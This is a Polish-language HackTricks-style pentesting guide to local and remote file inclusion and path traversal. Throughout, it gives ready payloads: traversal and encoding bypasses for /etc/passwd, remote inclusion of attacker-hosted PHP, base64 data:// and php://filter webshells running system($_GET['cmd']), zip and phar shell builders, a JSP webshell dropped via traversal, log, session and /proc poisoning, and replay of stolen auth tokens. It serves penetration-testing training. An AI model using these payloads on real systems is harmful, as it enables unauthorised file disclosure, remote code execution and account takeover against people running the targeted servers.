File Inclusion/Path traversal

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

File Inclusion

Remote File Inclusion (RFI): Plik jest ładowany z zewnętrznego serwera (Najlepiej: możesz napisać kod, a serwer go wykona). W php jest to domyślnie wyłączone (allow_url_include).
Local File Inclusion (LFI): Serwer ładuje lokalny plik.

Ta podatność występuje, gdy użytkownik w jakiś sposób może kontrolować plik, który ma zostać załadowany przez serwer.

Podatne PHP functions: require, require_once, include, include_once

Ciekawe narzędzie do wykorzystania tej luki: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Łącząc kilka list *nix LFI i dodając więcej ścieżek, stworzyłem tę:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Try also to change / for \
Try also to add ../../../../../

Lista wykorzystująca kilka technik do odnalezienia pliku /etc/password (aby sprawdzić, czy luka istnieje) może być znaleziona here

Windows

Połączenie różnych wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Try also to change / for \
Try also to remove C:/ and add ../../../../../

Lista wykorzystująca kilka technik do odnalezienia pliku /boot.ini (aby sprawdzić, czy luka istnieje) może być znaleziona here

OS X

Sprawdź listę LFI dla linux.

Podstawowe LFI i obejścia

Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zastosowane do Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

sekwencje traversal usuwane nierekursywnie

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass dodawania dodatkowych znaków na końcu podanego ciągu (bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

To zostało rozwiązane od PHP 5.4

Kodowanie

Możesz użyć niestandardowych kodowań, takich jak double URL encode (i inne):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Nowoczesne silniki HTML-to-PDF (np. TCPDF lub wrappery takie jak html2pdf) chętnie parsują HTML, SVG, CSS i adresy URL fontów dostarczone przez atakującego, a jednocześnie działają wewnątrz zaufanych sieci backendowych z dostępem do systemu plików. Po tym, jak uda ci się wstrzyknąć HTML do $pdf->writeHTML()/Html2Pdf::writeHTML(), często możesz exfiltrate lokalne pliki, które konto serwera WWW może odczytać.

  • Fingerprint the renderer: każdy wygenerowany PDF zawiera pole Producer (np. TCPDF 6.8.2). Znajomość dokładnej wersji pozwala określić, jakie filtry ścieżek są stosowane i czy dekodowanie URL odbywa się przed walidacją.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() odczytuje atrybut xlink:href z elementów <image> zanim wykona urldecode(). Osadzenie złośliwego SVG wewnątrz data URI sprawia, że wiele HTML sanitizers zignoruje payload, podczas gdy TCPDF nadal go parsuje:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF dopisuje na początek $_SERVER['DOCUMENT_ROOT'] do ścieżek zaczynających się od /, a dopiero później rozwiązuje .., więc użyj albo prowadzących segmentów ../../.., albo /../../.., aby wydostać się poza katalog główny po tym dopisaniu.

  • Encoding to bypass naive filters: Wersje ≤6.8.2 sprawdzają tylko dosłowny podciąg ../ przed dekodowaniem URL. Wysłanie ..%2f (lub ..%2F) w SVG lub w surowym atrybucie <img src> omija tę kontrolę, ponieważ sekwencja przejścia ../ jest odtworzona dopiero po wywołaniu urldecode() przez TCPDF.
  • Double-encoding for multi-stage decoding: Jeśli dane od użytkownika są dekodowane przez web framework i przez TCPDF, podwójnie zakoduj slash (%252f). Jedno dekodowanie zamienia go w %2f, drugie dekodowanie w TCPDF zamienia to w /, dając w efekcie /..%252f../../../../… bez nigdy pokazania ../ wczesnemu filtrowi.
  • HTML <img> handler: TCPDF::openHTMLTagHandler() zawiera ten sam błąd kolejności operacji, co pozwala na bezpośrednie payloady HTML, takie jak src="%2f..%252f..%252ftmp%252fsecret.png", aby odczytać dowolny lokalnie dostępny obraz bitmapowy.

This technique leaks anything readable by the PDF worker (skany paszportów, API keys renderowane jako obrazy, etc.). Hardeners fixed it in 6.9.1 by canonicalising paths (isRelativePath()), so during tests prioritise older Producer versions.

Z istniejącego katalogu

Może back-end sprawdza ścieżkę katalogu:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Eksploracja katalogów systemu plików na serwerze

System plików serwera można eksplorować rekurencyjnie, aby zidentyfikować katalogi, a nie tylko pliki, stosując określone techniki. Proces ten obejmuje ustalenie głębokości katalogu i sprawdzanie istnienia konkretnych folderów. Poniżej znajduje się szczegółowa metoda, aby to osiągnąć:

  1. Określ głębokość katalogu: Ustal głębokość bieżącego katalogu, pomyślnie pobierając plik /etc/passwd (dotyczy, jeśli serwer jest oparty na Linuxie). Przykładowy URL może być zbudowany w następujący sposób, wskazując głębokość trzy:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Sondowanie folderów: Dołącz nazwę podejrzanego folderu (np. private) do URL, a następnie wróć do /etc/passwd. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpretacja wyników: Odpowiedź serwera wskazuje, czy folder istnieje:
  • Błąd / Brak odpowiedzi: Folder private prawdopodobnie nie istnieje w podanej lokalizacji.
  • Zawartość /etc/passwd: Obecność folderu private została potwierdzona.
  1. Rekurencyjne przeszukiwanie: Odkryte foldery można dalej sprawdzać pod kątem podkatalogów lub plików za pomocą tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).

Aby przeszukać katalogi w innych lokalizacjach systemu plików, odpowiednio dostosuj payload. Na przykład, aby sprawdzić czy /var/www/ zawiera katalog private (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation to metoda stosowana do manipulowania ścieżkami plików w aplikacjach webowych. Często jest używana do uzyskania dostępu do plików objętych ograniczeniami przez ominięcie mechanizmów bezpieczeństwa, które dopisują dodatkowe znaki na końcu ścieżek plików. Celem jest stworzenie ścieżki pliku, która po modyfikacji przez mechanizm bezpieczeństwa nadal wskazuje pożądany plik.

W PHP różne reprezentacje ścieżki pliku mogą być traktowane jako równoważne ze względu na sposób działania systemu plików. Na przykład:

  • /etc/passwd, /etc//passwd, /etc/./passwd i /etc/passwd/ są traktowane jako ta sama ścieżka.
  • Gdy ostatnie 6 znaków to passwd, dopisanie / (tworząc passwd/) nie zmienia docelowego pliku.
  • Podobnie, jeśli do ścieżki pliku dopisane jest .php (np. shellcode.php), dodanie /. na końcu nie zmieni dostępu do tego pliku.

Poniższe przykłady pokazują, jak wykorzystać path truncation do uzyskania dostępu do /etc/passwd, częstego celu ze względu na jego wrażliwe treści (informacje o kontach użytkowników):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

W tych scenariuszach liczba potrzebnych traversals może wynosić około 2027, ale wartość ta może się różnić w zależności od konfiguracji serwera.

  • Using Dot Segments and Additional Characters: Traversal sequences (../) w połączeniu z dodatkowymi segmentami kropkowymi i znakami mogą być użyte do nawigacji po systemie plików, skutecznie neutralizując ciągi dołączane przez serwer.
  • Determining the Required Number of Traversals: Poprzez metodę prób i błędów można znaleźć dokładną liczbę sekwencji ../ potrzebnych do przejścia do katalogu root, a następnie do /etc/passwd, upewniając się, że wszelkie dołączone ciągi (takie jak .php) zostaną zneutralizowane, a pożądana ścieżka (/etc/passwd) pozostanie nienaruszona.
  • Starting with a Fake Directory: Częstą praktyką jest rozpoczęcie ścieżki od nieistniejącego katalogu (np. a/). Technika ta służy jako środek ostrożności lub by spełnić wymagania mechanizmu parsowania ścieżek serwera.

When employing path truncation techniques, ważne jest, aby rozumieć zachowanie parsowania ścieżek przez serwer oraz strukturę systemu plików. Każdy scenariusz może wymagać innego podejścia, a testy są często konieczne, by znaleźć najskuteczniejszą metodę.

Ta luka została naprawiona w PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

W php jest to domyślnie wyłączone, ponieważ allow_url_include jest Off. Musi być On, aby to zadziałało, i w takim przypadku możesz dołączyć plik PHP z serwera i uzyskać RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Jeśli z jakiegoś powodu allow_url_include jest On, ale PHP filtruje dostęp do zewnętrznych stron, according to this post, możesz użyć na przykład data protocol z base64, aby zdekodować b64 PHP code i egt RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Udostępnione repozytorium .git (Source Disclosure)

Jeśli serwer WWW udostępnia /.git/, atakujący często może odtworzyć pełne repozytorium (włącznie z historią commitów) i przeprowadzić audyt aplikacji offline. Zwykle ujawnia to ukryte endpoints, secrets, SQL queries i admin-only functionality.

Szybkie sprawdzenia:

curl -s -i http://TARGET/.git/HEAD
curl -s -i http://TARGET/.git/config

Zrzut repozytorium za pomocą git-dumper:

uv tool install git-dumper
git-dumper http://TARGET/.git/ out/

Następnie przywróć drzewo robocze:

cd out
git checkout .

Tip

W poprzednim kodzie końcowy +.txt został dodany, ponieważ atakujący potrzebował ciągu, który kończył się na .txt, więc ciąg kończy się nim, a po b64 decode ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a więc wykonany).

Kolejny przykład nieużywający protokołu php:// wyglądałby następująco:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Root element

W Pythonie w kodzie takim jak ten:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Jeśli użytkownik poda ścieżkę bezwzględną jako file_name, poprzednia ścieżka jest po prostu usuwana:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

To zamierzone zachowanie zgodnie z the docs:

Jeśli komponent jest ścieżką absolutną, wszystkie poprzednie komponenty zostają odrzucone i łączenie kontynuuje się od komponentu ścieżki absolutnej.

Java - listowanie katalogów

Wygląda na to, że jeśli masz Path Traversal w Java i poprosisz o katalog zamiast pliku, zwracana jest lista zawartości katalogu. To nie powinno się zdarzać w innych językach (afaik).

Top 25 parametrów

Oto lista top 25 parametrów, które mogą być podatne na local file inclusion (LFI) vulnerabilities (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI używając PHP wrapperów & protokołów

php://filter

PHP filters pozwalają wykonywać podstawowe operacje modyfikacji na danych zanim zostaną odczytane lub zapisane. Istnieje 5 kategorii filtrów:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Remove tags from the data (everything between “<” and “>” chars)
  • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transforms to a different encoding(convert.iconv.<input_enc>.<output_enc>) . To get the list of all the encodings supported run in the console: iconv -l

Warning

Abusing the convert.iconv.* conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Compress the content (useful if exfiltrating a lot of info)
  • zlib.inflate: Decompress the data
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • Other Filters
  • Running in php var_dump(stream_get_filters()); you can find a couple of unexpected filters:
  • consumed
  • dechunk: reverses HTTP chunked encoding
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

Część “php://filter” jest niewrażliwa na wielkość liter

Użycie php filters jako oracle do odczytu dowolnych plików

In this post zaproponowano technikę odczytu pliku lokalnego bez zwracania jego zawartości przez serwer. Technika ta opiera się na egzfiltracji boolowskiej pliku (znak po znaku) przy użyciu php filters jako oracle. Wynika to z faktu, że php filters mogą być użyte do powiększenia tekstu na tyle, by php rzucił wyjątek.

W oryginalnym poście znajdziesz szczegółowe wyjaśnienie techniki, poniżej krótka synteza:

  • Użyj kodeka UCS-4LE aby pozostawić wiodący znak tekstu na początku i spowodować, że rozmiar ciągu rośnie wykładniczo.
  • Posłuży to do wygenerowania tekstu tak dużego, że jeśli pierwsza litera zostanie zgadnięta poprawnie, php wywoła błąd.
  • Filtr dechunk usunie wszystko jeśli pierwszy znak nie jest szesnastkowy, więc możemy sprawdzić, czy pierwszy znak jest hex.
  • To, połączone z poprzednim (i innymi filtrami zależnymi od zgadywanej litery), pozwoli nam odgadnąć literę na początku tekstu, obserwując moment, w którym wykonamy wystarczająco dużo transformacji, by znak przestał być znakiem szesnastkowym. Jeśli jest szesnastkowy, dechunk go nie usunie, a początkowa bomba spowoduje błąd php.
  • Kodek convert.iconv.UNICODE.CP930 zamienia każdą literę na następną (czyli po tym kodeku: a -> b). Pozwala to sprawdzić, czy pierwsza litera to np. a, ponieważ jeśli zastosujemy ten kodek 6 razy: a->b->c->d->e->f->g, znak przestaje być znakiem szesnastkowym, więc dechunk go nie usuwa, a błąd php zostaje wywołany, ponieważ mnoży się z początkową bombą.
  • Używając innych transformacji, jak rot13 na początku, możliwe jest leak innych znaków, takich jak n, o, p, q, r (inne kodeki można użyć, aby przesunąć inne litery do zakresu hex).
  • Gdy pierwszy znak jest cyfrą, trzeba zakodować go w base64 i leak dwóch pierwszych znaków, aby leak tę cyfrę.
  • Ostatecznym problemem jest zobaczyć how to leak more than the initial letter. Używając filtrów zmieniających kolejność pamięci takich jak convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE można zmienić kolejność znaków i wstawić na pierwszą pozycję inne litery tekstu.
  • A aby uzyskać further data pomysł polega na wygenerowaniu 2 bajtów śmieci na początku za pomocą convert.iconv.UTF16.UTF16, zastosowaniu UCS-4LE aby to pivot with the next 2 bytes, i usuwaniu danych aż do tych bajtów śmieci (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż dotrzesz do pożądanego bitu do leak.

W poście opublikowano również narzędzie do automatyzacji tego procesu: php_filters_chain_oracle_exploit.

php://fd

Ten wrapper pozwala na dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do egzfiltracji zawartości otwartych plików:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Możesz również użyć php://stdin, php://stdout and php://stderr aby uzyskać dostęp do file descriptors 0, 1 and 2 odpowiednio (nie jestem pewien, jak mogłoby to być przydatne w ataku)

zip:// and rar://

Wgraj plik Zip lub Rar zawierający PHPShell i uzyskaj do niego dostęp.
Aby móc wykorzystać protokół rar, musi on zostać specjalnie aktywowany.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Zwróć uwagę, że ten protokół jest ograniczony przez ustawienia php allow_url_open i allow_url_include

expect://

Expect musi być włączony. Możesz wykonać kod przy użyciu tego:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Wskaż swój payload w parametrach POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Plik .phar może być użyty do wykonania kodu PHP, gdy aplikacja webowa korzysta z funkcji takich jak include do ładowania plików. Poniższy fragment kodu PHP pokazuje tworzenie pliku .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Aby skompilować plik .phar, należy wykonać następujące polecenie:

php --define phar.readonly=0 create_path.php

Po uruchomieniu zostanie utworzony plik o nazwie test.phar, który potencjalnie może być wykorzystany do wykorzystania podatności Local File Inclusion (LFI).

W przypadkach, gdy LFI jedynie odczytuje pliki bez wykonywania znajdującego się w nich kodu PHP — poprzez funkcje takie jak file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() lub filesize() — można spróbować wykorzystać podatność na deserializację. Ta podatność związana jest z odczytem plików przy użyciu protokołu phar.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Było możliwe nadużyć any arbitrary file read from PHP that supports php filters aby uzyskać RCE. The detailed description can be found in this post.
Bardzo krótkie streszczenie: w heapie PHP wykorzystano 3 byte overflow, aby zmodyfikować łańcuch wolnych chunków o określonym rozmiarze, co pozwoliło zapisać cokolwiek pod dowolnym adresem, więc dodano hook wywołujący system.
Można było alokować chunki o określonych rozmiarach, nadużywając kolejnych php filters.

More protocols

Sprawdź więcej możliwych protocols to include here:

  • php://memory and php://temp — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak to może być użyteczne w ataku file inclusion)
  • file:// — Dostęp do lokalnego systemu plików
  • http:// — Dostęp do URLi HTTP(s)
  • ftp:// — Dostęp do URLi FTP(s)
  • zlib:// — Strumienie kompresji
  • glob:// — Wyszukiwanie nazw ścieżek pasujących do wzorca (Nie zwraca nic czytelnego, więc niezbyt użyteczne tutaj)
  • ssh2:// — Secure Shell 2
  • ogg:// — Strumienie audio (Nieprzydatne do czytania dowolnych plików)

LFI via PHP’s ‘assert’

Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie w przypadku funkcji ‘assert’, która potrafi wykonać kod zawarty w stringu. Jest to szczególnie problematyczne, jeśli wejście zawierające znaki directory traversal takie jak “..” jest sprawdzane, ale nie jest poprawnie sanitizowane.

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

Chociaż ma to na celu zapobieganie traversal, niezamierzenie tworzy wektor dla code injection. Aby to wykorzystać do odczytu zawartości pliku, attacker może użyć:

' and die(highlight_file('/etc/passwd')) or '

Podobnie, do wykonywania dowolnych poleceń systemowych można użyć:

' and die(system("id")) or '

Ważne jest, aby URL-encode these payloads.

PHP Blind Path Traversal

Warning

Ta technika ma zastosowanie w sytuacjach, gdy kontrolujesz ścieżkę pliku funkcji PHP, która uzyska dostęp do pliku, ale nie zobaczysz zawartości pliku (np. proste wywołanie file()), mimo że zawartość nie jest wyświetlana.

W this incredible post wyjaśniono, jak blind path traversal może być nadużyty przez PHP filter do exfiltrate the content of a file via an error oracle.

W skrócie, technika wykorzystuje kodowanie “UCS-4LE”, aby uczynić zawartość pliku tak dużą, że PHP function opening plik wywoła error.

Następnie, aby leak the first char, używany jest filtr dechunk wraz z innymi jak base64 czy rot13, a finalnie filtry convert.iconv.UCS-4.UCS-4LE i convert.iconv.UTF16.UTF-16BE są używane, aby umieścić inne znaki na początku i leak them.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Po szczegóły techniczne sprawdź wspomniany post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Gdy kod po stronie serwera, który przyjmuje/wgrywa pliki, buduje docelową ścieżkę używając danych kontrolowanych przez użytkownika (np. filename lub URL) bez kanonizacji i walidacji, segmenty .. i ścieżki absolutne mogą uciec z zamierzonego katalogu i spowodować arbitrary file write. Jeśli uda Ci się umieścić payload w katalogu wystawionym do sieci, zwykle uzyskujesz nieautoryzowane RCE przez wrzucenie webshella.

Typowy przebieg eksploatacji:

  • Zidentyfikuj write primitive w endpointcie lub background workerze, który przyjmuje ścieżkę/filename i zapisuje zawartość na dysku (np. message-driven ingestion, XML/JSON command handlers, ZIP extractors itp.).
  • Określ katalogi widoczne przez web. Typowe przykłady:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Stwórz traversal path, który wydostanie się z zamierzonego katalogu storage do webrootu i dołącz zawartość webshella.
  • Otwórz w przeglądarce wrzucony payload i wykonaj polecenia.

Uwagi:

  • Usługa wykonująca zapis może nasłuchiwać na porcie nie-HTTP (np. JMF XML listener na TCP 4004). Główne webowe portal (inny port) później będzie serwować Twój payload.
  • Na stosach Java te zapisy plików często realizowane są prostą konkatenacją File/Paths. Brak canonicalisation/allow-listing to podstawowy błąd.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Środki zabezpieczające, które eliminują tę klasę błędów:

  • Rozwiązuj do kanonicznej ścieżki i egzekwuj, że jest potomkiem katalogu bazowego znajdującego się na liście dozwolonych.
  • Odrzucaj każdą ścieżkę zawierającą .., ścieżki absolutne lub litery dysków; preferuj wygenerowane nazwy plików.
  • Uruchamiaj writer jako konto o niskich uprawnieniach i oddziel katalogi zapisu od katalogów serwowanych.

Remote File Inclusion

Omówione wcześniej, zobacz ten link.

Przez plik logu Apache/Nginx

Jeśli serwer Apache lub Nginx jest podatny na LFI w funkcji include, możesz spróbować uzyskać dostęp do /var/log/apache2/access.log or /var/log/nginx/access.log, umieścić w nagłówku User-Agent lub w parametrze GET php shell taki jak <?php system($_GET['c']); ?> i załączyć ten plik

Warning

Zwróć uwagę, że jeśli użyjesz podwójnych cudzysłowów dla shell zamiast pojedynczych cudzysłowów, podwójne cudzysłowy zostaną zmienione dla ciągu “quote;”, PHP zgłosi błąd i nic więcej nie zostanie wykonane.

Upewnij się również, że prawidłowo zapisujesz payload inaczej PHP będzie zgłaszać błąd za każdym razem, gdy spróbuje załadować plik logu i nie będziesz mieć drugiej szansy.

To można też zrobić w innych logach, ale bądź ostrożny, kod wewnątrz logów może być URL encoded i to może zniszczyć Shell. Nagłówek authorisation “basic” zawiera “user:password” w Base64 i jest dekodowany w logach. PHPShell można umieścić w tym nagłówku.
Inne możliwe ścieżki logów:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Odczyt logów dostępu w celu pozyskania GET-based auth tokens (token replay)

Wiele aplikacji błędnie akceptuje session/auth tokens przez GET (np. AuthenticationToken, token, sid). Jeśli masz path traversal/LFI primitive umożliwiający dostęp do web server logs, możesz ukraść te tokeny z access logs i odtworzyć je, by całkowicie obejść uwierzytelnianie.

How-to:

  • Użyj traversal/LFI, aby odczytać access log web servera. Typowe lokalizacje:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Niektóre endpointy zwracają odczyty plików Base64-encoded. Jeśli tak, zdekoduj lokalnie i przejrzyj linie loga.
  • Grepuj pod kątem żądań GET, które zawierają parametr token i wyciągnij jego wartość, następnie replayuj ją względem punktu wejścia aplikacji.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Zdekoduj body, jeśli jest zakodowane w Base64, a następnie odtwórz przechwycony token:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Uwaga:

  • Tokens w URL są logowane domyślnie; nigdy nie akceptuj bearer tokens przez GET w systemach produkcyjnych.
  • Jeśli aplikacja obsługuje wiele nazw tokenów, wyszukaj powszechne klucze takie jak AuthenticationToken, token, sid, access_token.
  • Zmieniaj wszystkie tokens, które mogły zostać leaked w logach.

Przez Email

Wyślij e-mail na wewnętrzne konto (user@localhost) zawierający Twój PHP payload taki jak <?php echo system($_REQUEST["cmd"]); ?> i spróbuj dołączyć go do maila użytkownika ścieżką taką jak /var/mail/<USERNAME> lub /var/spool/mail/<USERNAME>

Przez /proc/*/fd/*

  1. Wgraj dużo shells (na przykład: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)

Przez /proc/self/environ

Podobnie jak w przypadku pliku logu, wyślij payload w User-Agent, zostanie on odzwierciedlony w pliku /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Jeśli możesz uploadować plik, po prostu wstrzyknij do niego shell payload (e.g : <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Aby zachować plik czytelnym, najlepiej wstrzyknąć go do metadanych obrazów/doc/pdf

Przez przesłanie pliku ZIP

Prześlij plik ZIP zawierający skompresowany PHP shell i uzyskaj dostęp:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Za pomocą PHP sessions

Sprawdź, czy strona używa PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

W PHP te sesje są przechowywane w plikach /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
